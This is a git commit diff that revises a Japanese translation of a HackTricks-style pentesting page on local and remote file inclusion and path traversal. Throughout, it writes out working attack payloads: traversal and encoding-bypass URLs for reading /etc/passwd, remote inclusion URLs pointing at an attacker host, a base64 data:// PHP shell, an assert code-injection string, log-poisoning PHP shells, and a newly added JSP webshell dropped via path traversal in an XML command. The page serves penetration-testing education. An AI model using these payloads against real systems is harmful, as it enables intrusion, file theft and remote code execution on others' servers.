Translated ['src/pentesting-web/file-inclusion/README.md', 'src/pentesti

This commit is contained in:
Translator 2025-08-18 18:21:54 +00:00
parent 811d8d8302
commit 511b0777dd
2 changed files with 221 additions and 146 deletions

View File

@ -1,4 +1,4 @@
# ファイルインクルージョン/パストラバーサル
# ファイルインクルージョン/パス横断
{{#include ../../banners/hacktricks-training.md}}
@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**いくつかの*nix LFIリストを混ぜて、さらにパスを追加してこれを作成しました:**
**複数の*nix LFIリストを混ぜて、さらにパスを追加してこれを作成しました**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
@ -28,11 +28,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
`/``\`に変更してみてください。\
`../../../../../`を追加してみてください。
ファイル/etc/passwordを見つけるためにいくつかの技術を使用したリスト脆弱性が存在するか確認するためは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)にあります。
ファイル/etc/passwordを見つけるためにいくつかの技術を使用したリスト脆弱性が存在するか確認するためは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)で見つけることができます。
### **Windows**
異なるワードリストのマージ:
異なるワードリストのマージ
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
@ -41,7 +41,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
`/``\`に変更してみてください。\
`C:/`を削除して`../../../../../`を追加してみてください。
ファイル/boot.iniを見つけるためにいくつかの技術を使用したリスト脆弱性が存在するか確認するためは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)にあります。
ファイル/boot.iniを見つけるためにいくつかの技術を使用したリスト脆弱性が存在するか確認するためは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)で見つけることができます。
### **OS X**
@ -61,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **ヌルバイト (%00)**
提供された文字列の末尾にさらに文字を追加するのをバイパスします(バイパス: $\_GET\['param']."php"
提供された文字列の末尾に文字を追加するのをバイパスします(バイパス: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -69,7 +69,7 @@ http://example.com/index.php?page=../../../etc/passwd%00
### **エンコーディング**
ダブルURLエンコードおよびその他)などの非標準エンコーディングを使用できます:
ダブルURLエンコードその他などの非標準エンコーディングを使用できます
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -84,20 +84,20 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### サーバー上のファイルシステムディレクトリの探索
サーバーのファイルシステムは、特定の技術を用いてファイルだけでなくディレクトリを特定するために再帰的に探索できます。このプロセスは、ディレクトリの深さを決定し、特定のフォルダの存在を探ることを含みます。以下は、これを達成するための詳細な方法です:
サーバーのファイルシステムは、特定の技術を用いてファイルだけでなくディレクトリを特定するために再帰的に探索できます。このプロセスは、ディレクトリの深さを決定し、特定のフォルダの存在を探ることが含まれます。以下は、これを達成するための詳細な方法です:
1. **ディレクトリの深さを決定する:** 現在のディレクトリの深さを確認するために、`/etc/passwd`ファイルを正常に取得しますサーバーがLinuxベースの場合に適用。例として、深さが3であることを示すURLは次のように構成されるかもしれません
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **フォルダを調査する:** 疑わしいフォルダの名前(例: `private`をURLに追加し、その後`/etc/passwd`戻ります。追加のディレクトリレベルは深さを1つ増やす必要があります:
2. **フォルダを調査する:** 疑わしいフォルダの名前(例: `private`をURLに追加し、その後`/etc/passwd`移動します。追加のディレクトリレベルは深さを1つ増やす必要があります:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **結果の解釈:** サーバーの応答はフォルダーの存在を示します:
- **エラー / 出力なし:** フォルダー `private` は指定された場所に存在しない可能性があります。
- **エラー / 出力なし:** フォルダー `private` は指定された場所に存在しない可能性が高いです。
- **`/etc/passwd` の内容:** `private` フォルダーの存在が確認されました。
4. **再帰的探索:** 発見されたフォルダーは、同じ技術または従来のローカルファイルインクルージョン (LFI) メソッドを使用して、サブディレクトリやファイルをさらに調査できます。
4. **再帰的探索:** 発見されたフォルダーは、同じ技術従来のローカルファイルインクルージョン (LFI) メソッドを使用して、サブディレクトリやファイルをさらに調査できます。
ファイルシステム内の異なる場所にあるディレクトリを探索するには、ペイロードを適宜調整してください。たとえば、`/var/www/``private` ディレクトリが含まれているか確認するには現在のディレクトリが深さ3にあると仮定して、次のようにします:
```bash
@ -105,15 +105,15 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **パストランケーション技術**
Path truncationは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することによって、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。
パストランケーションは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避すること、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば
- `/etc/passwd``/etc//passwd``/etc/./passwd`、および`/etc/passwd/`はすべて同じパスとして扱われます。
- 最後の6文字が`passwd`の場合、`/`を追加しても(`passwd/`にする)ターゲットファイルは変わりません。
- 同様に、ファイルパスに`.php`を追加した場合(例えば`shellcode.php`)、末尾に`/.`を追加してもアクセスされるファイルは変更されません。
- 同様に、ファイルパスに`.php`を追加した場合(`shellcode.php`のように)、末尾に`/.`を追加してもアクセスされるファイルは変更されません。
提供された例は、パストランケーションを利用して、敏感な内容(ユーザーアカウント情報)を含む一般的なターゲットである`/etc/passwd`にアクセスする方法を示しています:
提供された例は、パストランケーションを利用して、機密情報(ユーザーアカウント情報)を含む一般的なターゲットである`/etc/passwd`にアクセスする方法を示しています:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,9 +125,9 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
これらのシナリオでは、必要なトラバーサルの数は約2027回になる可能性がありますが、この数はサーバーの設定によって異なる場合があります。
- **ドットセグメントと追加文字の使用**: トラバーサルシーケンス(`../`に追加のドットセグメントや文字を組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。
- **必要なトラバーサルの数を決定する**: 試行錯誤を通じて、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができ、追加された文字列(`.php`など)が無効化される一方で、目的のパス(`/etc/passwd`)はそのまま保持されます。
- **偽のディレクトリから始める**: 存在しないディレクトリ(`a/`など)でパスを始めるのは一般的な手法です。この技術は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
- **ドットセグメントと追加文字の使用**: トラバーサルシーケンス(`../`を追加のドットセグメントや文字と組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。
- **必要なトラバーサルの数の特定**: 試行錯誤を通じて、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができ、追加された文字列(例えば`.php`)が無効化される一方で、目的のパス(`/etc/passwd`)はそのまま保持されます。
- **偽のディレクトリから始める**: 存在しないディレクトリ(例えば`a/`)でパスを始めるのは一般的な慣行です。この技術は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
パストランケーション技術を使用する際は、サーバーのパス解析の挙動とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要です。
@ -143,17 +143,17 @@ http://example.com/index.php?page=PhP://filter
```
## リモートファイルインクルージョン
phpでは、これはデフォルトで無効になっています。なぜなら**`allow_url_include`**が**オフ**だからです。これが**オン**でなければ機能しません。その場合、サーバーからPHPファイルをインクルードしてRCEを取得することができます。
In php this is disable by default because **`allow_url_include`** is **Off.** It must be **On** for it to work, and in that case you could include a PHP file from your server and get RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
もし何らかの理由で **`allow_url_include`** が **On** であるが、PHPが外部ウェブページへのアクセスを **フィルタリング** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によれば、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます:
もし何らかの理由で **`allow_url_include`** が **On** であるが、PHPが外部ウェブページへのアクセスを **フィルタリング** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によると、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> 前のコードでは、最終的な `+.txt` が追加されました。これは攻撃者が `.txt` で終わる文字列を必要としたためで、そのため文字列はそれで終わり、b64 デコードの後、その部分はただのゴミを返し、実際の PHP コードが含まれ(したがって、実行されます)。
> [!TIP]
> 前のコードでは、最終的な `+.txt` が追加されました。これは攻撃者が `.txt` で終わる文字列を必要としたためで、文字列はそれで終わり、その後の b64 デコードではその部分がただのゴミを返し、実際の PHP コードが含まれ(したがって、実行されます)。
別の例は **`php://` プロトコルを使用しない** ものです:
```
@ -171,17 +171,17 @@ os.path.join(os.getcwd(), "public", file_name)
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
意図された動作は、[the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) によると次の通りです:
意図された動作は、[ドキュメント](https://docs.python.org/3.10/library/os.path.html#os.path.join)によると次の通りです:
> コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。
> コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、絶対パスコンポーネントから結合が続行されます。
## Java ディレクトリのリスト
Javaでパストラバーサルがある場合、**ファイルではなくディレクトリを要求すると、** **ディレクトリのリストが返されます**。これは他の言語では発生しないでしょう(私の知る限り)。
## トップ 25 パラメータ
## トップ25パラメータ
ローカルファイルインクルージョンLFI脆弱性に対して脆弱である可能性のあるトップ25のパラメータのリストです([link](https://twitter.com/trbughunters/status/1279768631845494787) から):
ローカルファイルインクルージョンLFI脆弱性に対して脆弱である可能性のあるトップ25パラメータのリストです([リンク](https://twitter.com/trbughunters/status/1279768631845494787)から):
```
?cat={payload}
?dir={payload}
@ -220,7 +220,7 @@ PHPフィルターは、データが読み込まれる前または書き込ま
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: データからタグを削除します("<" と ">" の間のすべて)
- このフィルターは、現代のPHPバージョンからは消えています
- このフィルターは、現代のPHPバージョンからは消えています
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
@ -229,15 +229,15 @@ PHPフィルターは、データが読み込まれる前または書き込ま
- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。**サポートされているすべてのエンコーディングのリスト**を取得するには、コンソールで `iconv -l` を実行します。
> [!WARNING]
> `convert.iconv.*` 変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを書くためや、includeプロセスを任意のテキストで実行するために役立つ可能性があります。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。
> `convert.iconv.*` 変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを記述したり、includeプロセスを任意のテキストで実行するために役立つ可能性があります。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: コンテンツを圧縮します(多くの情報を外部に出す場合に便利)
- `zlib.deflate`: コンテンツを圧縮します(多くの情報を外部に出す場合に便利)
- `zlib.inflate`: データを解凍します
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : 非推奨
- `mdecrypt.*` : 非推奨
- その他のフィルター
- Other Filters
- phpで `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルター**を見つけることができます:
- `consumed`
- `dechunk`: HTTPチャンクエンコーディングを逆転させます
@ -273,25 +273,25 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### phpフィルタをオラクルとして使用して任意のファイルを読み取る
[**この投稿**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)では、サーバーからの出力を返さずにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルタをオラクルとして使用したファイルのブール型漏洩(文字ごと)**に基づいています。これは、phpフィルタを使用してテキストを大きくし、phpが例外をスローするようにするためです。
[**この記事では**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) サーバーからの出力を返さずにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルタをオラクルとして使用してファイルをブール型で抽出(文字ごとに)**することに基づいています。これは、phpフィルタを使用してテキストを大きくし、phpが例外をスローするようにするためです。
元の投稿には技術の詳細な説明がありますが、ここでは簡単な要約を示します:
元の記事には技術の詳細な説明がありますが、ここでは簡単な要約を示します:
- コーデック**`UCS-4LE`**を使用してテキストの先頭に先行文字を残し、文字列のサイズを指数関数的に増加させます。
- これは、**初の文字が正しく推測されたときに非常に大きなテキストを生成するために使用され**、phpが**エラー**をトリガーします。
- **dechunk**フィルタは、**最初の文字が16進数でない場合はすべてを削除**するため、最初の文字が16進数であるかどうかを知ることができます。
- これに加えて前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができます。十分な変換を行うことで、それが16進数文字でなくなるのを確認します。なぜなら、16進数の場合、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
- コーデック**convert.iconv.UNICODE.CP930**は、すべての文字を次の文字に変換しますこのコーデックの後a -> b。これにより、最初の文字が`a`であるかどうかを発見できます。たとえば、6回このコーデックを適用するとa->b->c->d->e->f->gとなり、文字はもはや16進数文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーが初期の爆弾とともにトリガーされます。
- コーデック **`UCS-4LE`** を使用してテキストの先頭に先行文字を残し、文字列のサイズを指数関数的に増加させます。
- これは、**初の文字が正しく推測されたときに非常に大きなテキストを生成するために使用され**、phpが**エラー**をトリガーします。
- **dechunk**フィルタは、**最初の文字が16進数でない場合はすべてを削除**するため、最初の文字が16進数かどうかを知ることができます。
- これに加えて前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができ、十分な変換を行うことでそれが16進数文字でなくなることがわかります。なぜなら、16進数であればdechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
- コーデック **convert.iconv.UNICODE.CP930** は、すべての文字を次の文字に変換しますこのコーデックの後a -> b。これにより、最初の文字が例えば`a`であるかどうかを発見することができます。なぜなら、このコーデックを6回適用するとa->b->c->d->e->f->gとなり、その文字はもはや16進数文字ではなくなるため、dechunkはそれを削除せず、phpエラーが初期の爆弾と掛け算されてトリガーされるからです。
- **rot13**のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です他のコーデックを使用して他の文字を16進数範囲に移動させることができます
- 最初の文字が数字の場合、それをbase64エンコードし、数字を漏洩させるために最初の2文字を漏洩させる必要があります。
- 最初の文字が数字の場合、それをbase64エンコードし、最初の2文字を漏洩させて数字を漏洩させる必要があります。
- 最後の問題は、**最初の文字以上のものを漏洩させる方法**です。**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**のような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。
- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して**次の2バイトとピボットさせ**、**ジャンクデータまでデータを削除**することです(これにより初期テキストの最初の2バイトが削除されます。これを繰り返して、漏洩させたいビットに到達するまで続けます。
- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して**次の2バイトとピボットさせ**、**ジャンクデータまでデータを削除**することですこれにより初期テキストの最初の2バイトが削除されます。これを繰り返して、漏洩させたいビットに到達するまで続けます。
投稿には、この操作を自動的に実行するツールも漏洩しています[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
この記事では、この操作を自動的に実行するツールも漏洩しました[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
### php://fd
このラッパーは、プロセスがオープンしているファイル記述子にアクセスすることを可能にします。開いているファイルの内容を漏洩させるのに潜在的に役立ちます:
このラッパーは、プロセスがオープンしているファイルディスクリプタにアクセスすることを可能にします。開いているファイルの内容を漏洩させるのに潜在的に役立ちます:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
@ -343,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
`.phar`ファイルは、ウェブアプリケーションがファイル読み込みのために`include`のような関数を利用する際に、PHPコードを実行するために使用できます。以下に示すPHPコードスニペットは、`.phar`ファイルの作成を示しています:
`.phar`ファイルは、ウェブアプリケーションが`include`のような関数を使用してファイルを読み込む際に、PHPコードを実行するために利用できます。以下のPHPコードスニペットは、`.phar`ファイルの作成を示しています:
```php
<?php
$phar = new Phar('test.phar');
@ -356,11 +356,11 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
実行時に `test.phar` というファイルが作成され、これを利用してローカルファイルインクルージョン (LFI) 脆弱性を悪用する可能性があります。
実行時に`test.phar`というファイルが作成され、これを利用してローカルファイルインクルージョンLFI脆弱性を悪用する可能性があります。
LFI PHP コードを実行せずにファイルを読み取るだけの場合、`file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()`、または `filesize()` などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar` プロトコルを使用してファイルを読み取ることに関連しています。
LFIがPHPコードを実行せずにファイルを読み取るだけの場合、`file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()`、または`filesize()`などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar`プロトコルを使用してファイルを読み取ることに関連しています。
`.phar` ファイルのデシリアライズ脆弱性を悪用する詳細な理解については、以下のリンクされた文書を参照してください:
`.phar`ファイルの文脈におけるデシリアライズ脆弱性の悪用についての詳細な理解は、以下のリンクされた文書を参照してください:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -370,32 +370,32 @@ phar-deserialization.md
### CVE-2024-2961
**php フィルタをサポートする任意のファイルを PHP から読み取ることを悪用して RCE を得ることが可能でした。** 詳細な説明は [**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
非常に簡単な要約PHP ヒープの **3 バイトオーバーフロー** を悪用して、特定のサイズのフリーチャンクのチェーンを **変更する** ことにより、**任意のアドレスに何でも書き込む** ことができるようになり、**`system`** を呼び出すためのフックが追加されました。\
特定のサイズのチャンクを割り当てることが、他の PHP フィルタを悪用して可能でした。
**phpフィルタをサポートする任意のファイルをPHPから読み取ることを悪用してRCEを得ることが可能でした。** 詳細な説明は[**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
非常に簡単な要約PHPヒープの**3バイトオーバーフロー**を悪用して、特定のサイズのフリーチャンクのチェーンを**変更することができ、任意のアドレスに**書き込むことができるようにし、**`system`**を呼び出すためのフックが追加されました。\
特定のサイズのチャンクを割り当てることが、他のPHPフィルタを悪用して可能でした。
### その他のプロトコル
### さらなるプロトコル
ここに含める可能性のある[ **プロトコルを確認してください**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかは不明)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URL へのアクセス
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URL へのアクセス
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URLへのアクセス
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URLへのアクセス
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける(何も印刷可能なものを返さないので、ここではあまり役に立たない)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル 2
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読むには役に立たない)
## PHP の 'assert' を介した LFI
## PHPの'assert'によるLFI
PHP におけるローカルファイルインクルージョン (LFI) リスクは、文字列内でコードを実行できる 'assert' 関数を扱う際に特に高くなります。これは、".." のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。
PHPにおけるローカルファイルインクルージョンLFIリスクは、文字列内でコードを実行できる'assert'関数を扱う際に特に高くなります。これは、".."のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。
例えば、PHP コードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります:
例えば、PHPコードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります
```bash
assert("strpos('$file', '..') === false") or die("");
```
この対策はトラバーサルを防ぐことを目的としていますが、意図せずコードインジェクションのベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のような手法を使用できます
この対策はトラバーサルを防ぐことを目的としていますが、意図せずコードインジェクションのベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のような手法を使用できます:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -405,38 +405,84 @@ assert("strpos('$file', '..') === false") or die("");
```
重要なのは、**これらのペイロードをURLエンコードすること**です。
## PHPブラインドパススラベ
## PHP ブラインドパス・トラバーサ
> [!WARNING]
> この技術は、**ファイルパス**を**制御**できる**PHP関数**が**ファイルにアクセス**する場合に関連していますが、ファイルの内容は表示されません(**`file()`**への単純な呼び出しのように)が、内容は表示されません。
> この技術は、**ファイルパス**を**制御**る**PHP関数**が**ファイルにアクセス**する場合に関連していますが、ファイルの内容は表示されません(**`file()`**への単純な呼び出しのように)が、内容は表示されません。
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、ブラインドパススラベルがPHPフィルターを介して**エラーオラクルを介してファイルの内容を抽出する**方法が説明されています。
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、ブラインドパス・トラバーサルがPHPフィルターを介して**エラーオラクルを通じてファイルの内容を抽出する**方法が説明されています。
要約すると、この技術は**"UCS-4LE"エンコーディング**を使用して、ファイルの内容を非常に**大きく**し、ファイルを開く**PHP関数**が**エラー**を引き起こすようにします。
次に、最初の文字を漏洩させるためにフィルター**`dechunk`**が使用され、**base64**や**rot13**などの他のフィルターと共に使用され、最終的にフィルター**convert.iconv.UCS-4.UCS-4LE**と**convert.iconv.UTF16.UTF-16BE**が使用されて**他の文字を最初に配置して漏洩させます**。
**脆弱性がある可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これ読み取り専用のターゲットのみ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**脆弱ある可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これを使用して読み取り専用のターゲットのみ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
技術的な詳細については、前述の投稿を確認してください!
## LFI2RCE
### リモートファイルインクルージョン
### パス・トラバーサルによる任意のファイル書き込みWebシェルRCE
サーバー側のコードがファイルを取り込む/アップロードする際に、ユーザー制御のデータファイル名やURLを使用して宛先パスを構築し、正規化や検証を行わない場合、`..`セグメントや絶対パスが意図したディレクトリを脱出し、任意のファイル書き込みを引き起こす可能性があります。ペイロードをWebに公開されたディレクトリに配置できる場合、通常はWebシェルをドロップすることで認証なしのRCEを得ることができます。
典型的な悪用のワークフロー:
- パス/ファイル名を受け入れ、ディスクに内容を書き込むエンドポイントまたはバックグラウンドワーカーで書き込みプリミティブを特定しますメッセージ駆動の取り込み、XML/JSONコマンドハンドラー、ZIP抽出器など
- Webに公開されたディレクトリを特定します。一般的な例
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/``shell.jsp`をドロップ
- IIS: `C:\inetpub\wwwroot\``shell.aspx`をドロップ
- 意図したストレージディレクトリからWebルートに脱出するトラバーサルパスを作成し、Webシェルの内容を含めます。
- ドロップしたペイロードにアクセスし、コマンドを実行します。
注意:
- 書き込みを行う脆弱なサービスは、非HTTPポートTCP 4004のJMF XMLリスナーでリッスンしている場合があります。メインのWebポータル異なるポートは後でペイロードを提供します。
- Javaスタックでは、これらのファイル書き込みは通常、単純な`File`/`Paths`の連結で実装されています。正規化/許可リストの欠如が根本的な欠陥です。
一般的なXML/JMFスタイルの例製品スキーマは異なる DOCTYPE/ボディラッパーはトラバーサルには関係ありません):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
```
このクラスのバグを克服するための強化策:
- 正規のパスに解決し、それが許可リストにあるベースディレクトリの子孫であることを強制する。
- `..`、絶対ルート、またはドライブレターを含むパスを拒否する。生成されたファイル名を優先する。
- ライターを低特権アカウントとして実行し、書き込みディレクトリを提供されるルートから分離する。
## リモートファイルインクルージョン
前述の通り、[**このリンクを参照してください**](#remote-file-inclusion)。
### Apache/Nginxログファイル経由
ApacheまたはNginxサーバーが**LFIに脆弱**な場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**内または**GETパラメータ**内にPHPシェルのような**`<?php system($_GET['c']); ?>`**を設定し、そのファイルをインクルードすることができます。
ApacheまたはNginxサーバーが**LFIに脆弱**である場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**または**GETパラメータ**内に**`<?php system($_GET['c']); ?>`**のようなphpシェルを設定し、そのファイルをインクルードしようとすることができます。
> [!WARNING]
> シェルに**シングルクオート**の代わりに**ダブルクオート**を使用すると、ダブルクオートが文字列"_**quote;**_"に変更され、**PHPはそこでエラーをスローし**、**他の何も実行されません**。
> シェルに**シングルクォート**の代わりに**ダブルクォート**を使用すると、ダブルクォートは文字列"_**quote;**_"に変更され、**PHPはそこでエラーをスローし**、**他の何も実行されません**。
>
> また、**ペイロードを正しく記述する**ことを確認してください。さもなければ、PHPはログファイルを読み込もうとするたびにエラーを出し、二度と機会がありません。
> また、**ペイロードを正しく記述する**ことを確認してください。そうしないと、PHPはログファイルを読み込もうとするたびにエラーを出し、二度と機会がありません。
他のログでもこれを行うことができますが、**注意してください**。ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**authorization "basic"**には、Base64で"ユーザー:パスワード"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入できます。\
他の可能なログパス:
他のログでもこれを行うことができますが、**注意してください**ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**認証 "basic"**には、Base64でエンコードされた"user:password"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入することができます。\
他の可能なログパス
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -450,18 +496,18 @@ ApacheまたはNginxサーバーが**LFIに脆弱**な場合、インクルー
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### メール経由
### Via Email
